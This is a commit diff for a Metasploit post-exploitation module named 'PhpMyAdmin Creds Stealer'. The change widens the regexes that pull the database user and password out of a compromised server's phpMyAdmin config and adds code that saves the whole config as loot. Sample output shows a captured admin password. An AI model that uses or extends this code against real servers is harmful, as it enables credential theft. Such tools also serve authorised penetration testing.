storing config file, changed regex
parent
36d125e1a8
commit
18ffd36409
|
@ -41,6 +41,7 @@ PhpMyAdmin Creds Stealer!
|
|||
[+] User: admin
|
||||
[+] Password: acoolpassword
|
||||
[*] Storing credentials...
|
||||
[+] Config file located at /Users/space/.msf4/loot/20180907081056_default_192.168.37.226_phpmyadmin_conf_580315.txt
|
||||
[*] Post module execution completed
|
||||
msf5 post(linux/gather/phpmyadmin_credsteal) >
|
||||
|
||||
|
|
|
@ -26,8 +26,8 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
def parse_creds(contents)
|
||||
db_user = /\$dbuser=\'(.*)\';/.match(contents)
|
||||
db_pass = /\$dbpass=\'(.*)\';/.match(contents)
|
||||
db_user = /\$dbuser=['"](.*)['"];/.match(contents)
|
||||
db_pass = /\$dbpass=['"](.*)['"];/.match(contents)
|
||||
|
||||
unless db_user && db_pass
|
||||
print_error("Couldn't find PhpMyAdmin credentials")
|
||||
|
@ -66,5 +66,8 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
print_good("Extracting creds")
|
||||
parse_creds(res)
|
||||
|
||||
p = store_loot('phpmyadmin_conf', 'text/plain', session, res, 'phpmyadmin_conf.txt', 'phpmyadmin_conf')
|
||||
print_good("Config file located at #{p}")
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue